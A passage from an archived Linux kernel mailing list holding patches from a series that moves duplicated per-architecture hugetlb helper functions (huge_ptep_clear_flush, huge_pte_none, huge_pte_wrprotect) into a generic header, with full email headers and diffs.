@@ -71,6 +71,7 @@ extern pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 				     unsigned long addr, pte_t *ptep);
 extern void huge_ptep_set_wrprotect(struct mm_struct *mm,
 				    unsigned long addr, pte_t *ptep);
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 extern void huge_ptep_clear_flush(struct vm_area_struct *vma,
 				  unsigned long addr, pte_t *ptep);
 #define __HAVE_ARCH_HUGE_PTE_CLEAR
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index 6719c74da0de..41b5f6adeee4 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -20,6 +20,7 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 		REGION_NUMBER((addr)+(len)-1) == RGN_HPAGE);
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 0959cc5a41fa..7df1f116a3cc 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -48,6 +48,7 @@ static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 	return pte;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 6e281e1bb336..9afff26747a1 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -32,6 +32,7 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index 970101cf9c82..0b02856aa85b 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -143,6 +143,7 @@ static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 #endif
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index 08ee6c00b5e9..9abf9c86b769 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -25,6 +25,7 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 944e3a4bfaff..651a9593fcee 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -42,6 +42,7 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index e9e7fef867ad..fd59673e7a0a 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -28,12 +28,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
-					 unsigned long addr, pte_t *ptep)
-{
-	ptep_clear_flush(vma, addr, ptep);
-}
-
 static inline int huge_pte_none(pte_t pte)
 {
 	return pte_none(pte);
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index 0f6f151780dd..ffa63fd8388d 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -65,4 +65,12 @@ static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
+static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
+		unsigned long addr, pte_t *ptep)
+{
+	ptep_clear_flush(vma, addr, ptep);
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v6 06/11] hugetlb: Introduce generic version of huge_pte_none
Date: Mon,  6 Aug 2018 17:57:06 +0000
Lines: 183
Approved: news@gmane.org
Message-ID: <20180806175711.24438-7-alex@ghiti.fr>
References: <20180806175711.24438-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1533578526 20909 195.159.176.226 (6 Aug 2018 18:02:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 6 Aug 2018 18:02:06 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux-mm@kvack.org, mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Aug 06 20:01:59 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fmjpO-0005FQ-Vf
	for glk-linux-kernel-4@m.gmane.org; Mon, 06 Aug 2018 20:01:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S2387457AbeHFUOU (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 6 Aug 2018 16:14:20 -0400
Original-Received: from relay3-d.mail.gandi.net ([217.70.183.195]:42965 "EHLO
        relay3-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1733004AbeHFUOU (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 6 Aug 2018 16:14:20 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay3-d.mail.gandi.net (Postfix) with ESMTPSA id 2999260010;
        Mon,  6 Aug 2018 18:04:00 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180806175711.24438-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2840730 gmane.linux.kernel.mm:201311 gmane.linux.ports.arm.kernel:667941 gmane.linux.ports.ia64:29051 gmane.linux.ports.mips.general:65913 gmane.linux.ports.parisc:28880 gmane.linux.ports.ppc64.devel:160971 gmane.linux.ports.sh.devel:57338 gmane.linux.ports.sparc:28190 gmane.linux.kernel.cross-arch:45600
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2840730>

arm, arm64, ia64, mips, parisc, powerpc, sh, sparc, x86 architectures
use the same version of huge_pte_none, so move this generic
implementation into asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
Tested-by: Helge Deller <deller@gmx.de> # parisc
Acked-by: Catalin Marinas <catalin.marinas@arm.com> # arm64
Acked-by: Paul Burton <paul.burton@mips.com> # MIPS parts
Reviewed-by: Luiz Capitulino <lcapitulino@redhat.com>
Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
---
 arch/arm/include/asm/hugetlb.h     | 5 -----
 arch/arm64/include/asm/hugetlb.h   | 5 -----
 arch/ia64/include/asm/hugetlb.h    | 5 -----
 arch/mips/include/asm/hugetlb.h    | 1 +
 arch/parisc/include/asm/hugetlb.h  | 5 -----
 arch/powerpc/include/asm/hugetlb.h | 5 -----
 arch/sh/include/asm/hugetlb.h      | 5 -----
 arch/sparc/include/asm/hugetlb.h   | 5 -----
 arch/x86/include/asm/hugetlb.h     | 5 -----
 include/asm-generic/hugetlb.h      | 7 +++++++
 10 files changed, 8 insertions(+), 40 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb.h b/arch/arm/include/asm/hugetlb.h
index 537660891f9f..c821b550d6a4 100644
--- a/arch/arm/include/asm/hugetlb.h
+++ b/arch/arm/include/asm/hugetlb.h
@@ -44,11 +44,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 4c8dd488554d..49247c6f94db 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -42,11 +42,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index 41b5f6adeee4..bf573500b3c4 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -26,11 +26,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 7df1f116a3cc..1c9c4531376c 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -55,6 +55,7 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 	flush_tlb_page(vma, addr & huge_page_mask(hstate_vma(vma)));
 }
 
+#define __HAVE_ARCH_HUGE_PTE_NONE
 static inline int huge_pte_none(pte_t pte)
 {
 	unsigned long val = pte_val(pte) & ~_PAGE_GLOBAL;
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 9afff26747a1..c09d8c74553c 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -38,11 +38,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index 0b02856aa85b..3562d46585ba 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -152,11 +152,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 	flush_hugetlb_page(vma, addr);
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index 9abf9c86b769..a9f8266f33cf 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -31,11 +31,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 651a9593fcee..11115bbd712e 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -48,11 +48,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index fd59673e7a0a..42d872054791 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -28,11 +28,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index ffa63fd8388d..2fc3d68424e9 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -73,4 +73,11 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTE_NONE
+static inline int huge_pte_none(pte_t pte)
+{
+	return pte_none(pte);
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v6 07/11] hugetlb: Introduce generic version of huge_pte_wrprotect
Date: Mon,  6 Aug 2018 17:57:07 +0000
Lines: 187
Approved: news@gmane.org
Message-ID: <20180806175711.24438-8-alex@ghiti.fr>
References: <20180806175711.24438-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1533578595 26144 195.159.176.226 (6 Aug 2018 18:03:15 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 6 Aug 2018 18:03:15 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux-mm@kvack.org, mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Aug 06 20:03:08 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fmjqU-0006cl-3T
	for glk-linux-kernel-4@m.gmane.org; Mon, 06 Aug 2018 20:03:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S2387486AbeHFUP1 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 6 Aug 2018 16:15:27 -0400
Original-Received: from relay6-d.mail.gandi.net ([217.70.183.198]:54843 "EHLO
        relay6-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727665AbeHFUP1 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 6 Aug 2018 16:15:27 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay6-d.mail.gandi.net (Postfix) with ESMTPSA id 3754DC0003;
        Mon,  6 Aug 2018 18:05:05 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180806175711.24438-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2840732 gmane.linux.kernel.mm:201312 gmane.linux.ports.arm.kernel:667942 gmane.linux.ports.ia64:29052 gmane.linux.ports.mips.general:65914 gmane.linux.ports.parisc:28881 gmane.linux.ports.ppc64.devel:160972 gmane.linux.ports.sh.devel:57339 gmane.linux.ports.sparc:28191 gmane.linux.kernel.cross-arch:45601
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2840732>

arm, arm64, ia64, mips, parisc, powerpc, sh, sparc, x86
architectures use the same version of huge_pte_wrprotect, so move
this generic implementation into asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
Tested-by: Helge Deller <deller@gmx.de> # parisc
Acked-by: Catalin Marinas <catalin.marinas@arm.com> # arm64
Acked-by: Paul Burton <paul.burton@mips.com> # MIPS parts
Reviewed-by: Luiz Capitulino <lcapitulino@redhat.com>
Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
---
 arch/arm/include/asm/hugetlb.h     | 5 -----
 arch/arm64/include/asm/hugetlb.h   | 5 -----
 arch/ia64/include/asm/hugetlb.h    | 5 -----
 arch/mips/include/asm/hugetlb.h    | 5 -----
 arch/parisc/include/asm/hugetlb.h  | 5 -----
 arch/powerpc/include/asm/hugetlb.h | 5 -----
 arch/sh/include/asm/hugetlb.h      | 5 -----
 arch/sparc/include/asm/hugetlb.h   | 5 -----
 arch/x86/include/asm/hugetlb.h     | 5 -----
 include/asm-generic/hugetlb.h      | 7 +++++++
 10 files changed, 7 insertions(+), 45 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb.h b/arch/arm/include/asm/hugetlb.h
index c821b550d6a4..9ca14227eeb7 100644
--- a/arch/arm/include/asm/hugetlb.h
+++ b/arch/arm/include/asm/hugetlb.h
@@ -44,11 +44,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 	clear_bit(PG_dcache_clean, &page->flags);
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 49247c6f94db..1fd64ebf0cd7 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -42,11 +42,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 	clear_bit(PG_dcache_clean, &page->flags);
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index bf573500b3c4..82fe3d7a38d9 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -26,11 +26,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 1c9c4531376c..b3d6bb53ee6e 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -62,11 +62,6 @@ static inline int huge_pte_none(pte_t pte)
 	return !val || (val == (unsigned long)invalid_pte_table);
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index c09d8c74553c..5a102d7251e4 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -38,11 +38,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep);
 
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index 3562d46585ba..7123599089c6 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -152,11 +152,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 	flush_hugetlb_page(vma, addr);
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 				      unsigned long addr, pte_t *ptep,
 				      pte_t pte, int dirty);
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index a9f8266f33cf..54f65094efe6 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -31,11 +31,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 11115bbd712e..f661362376e0 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -48,11 +48,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 42d872054791..3cd3a2c9840e 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -28,11 +28,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index 2fc3d68424e9..cd9697672b79 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -80,4 +80,11 @@ static inline int huge_pte_none(pte_t pte)
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTE_WRPROTECT
+static inline pte_t huge_pte_wrprotect(pte_t pte)
+{
+	return pte_wrprotect(pte);
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v6 08/11] hugetlb: Introduce generic version of prepare_hugepage_range
Date: Mon,  6 Aug 2018 17:57:08 +0000
Lines: 222
Approved: news@gmane.org
Message-ID: <20180806175711.24438-9-alex@ghiti.fr>
References: <20180806175711.24438-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1533578667 31175 195.159.176.226 (6 Aug 2018 18:04:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 6 Aug 2018 18:04:27 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux-mm@kvack.org, mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Aug 06 20:04:20 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fmjre-0007uQ-Qe
	for glk-linux-kernel-4@m.gmane.org; Mon, 06 Aug 2018 20:04:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S2387576AbeHFUQl (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 6 Aug 2018 16:16:41 -0400
Original-Received: from relay10.mail.gandi.net ([217.70.178.230]:51401 "EHLO
        relay10.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S2387423AbeHFUQk (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 6 Aug 2018 16:16:40 -0400
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay10.mail.gandi.net (Postfix) with ESMTPSA id 99F88240005;
        Mon,  6 Aug 2018 18:06:11 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180806175711.24438-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
